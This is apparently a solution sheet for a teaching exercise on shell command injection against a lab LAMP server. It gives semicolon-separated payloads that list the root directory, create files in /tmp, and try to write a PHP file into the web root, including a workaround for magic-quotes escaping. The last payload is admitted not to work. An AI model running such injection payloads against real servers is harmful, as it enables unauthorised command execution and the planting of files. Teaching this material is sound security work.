Exercise: Injection Flows - Shell (Solution)

Shell Injection

Print out the list of the files at the root directory.

; echo `ls /`; You need to print out (i.e. echo), the result of ls (i.e. `ls/`) but you need also to separate this command with a semicolon from what comes before and what comes after.

Print out the content of the httpd.conf and php.ini files.

Create an empty file hello.txt on the disk of your server.

; touch /tmp/fileToBeDeleted1.txt; This command creates an empty file. It is executed and doesn't return anything.

Create a file hello2.txt containing the data "Hello World" on the hard drive of the server.

; echo hello World > /tmp/hello2.txt ; This transers the output of the first part

Create a file hello.php in the htdocs directory of the server. Then execute this file.

; echo hello world > /opt/lampp/htdocs/tmpfile.php ; Writes helloword in the file tmpfile.php. This file can be accessed using /tmpfile.php link.
since we want to execute a php file, we need some signs such that < or > which are excaped by magic quotes.
; echo echo hello world 2 `tail --bytes 3 index.php`> /opt/lampp/htdocs/tmpfile.php ; We reuse the code present in the index.php file, so that we don't need to input it.
```
; cat < /opt/lampp/htdocs/tmpfile.php
EOF
```
It does not work, but is a nice attempt. It should be a good start.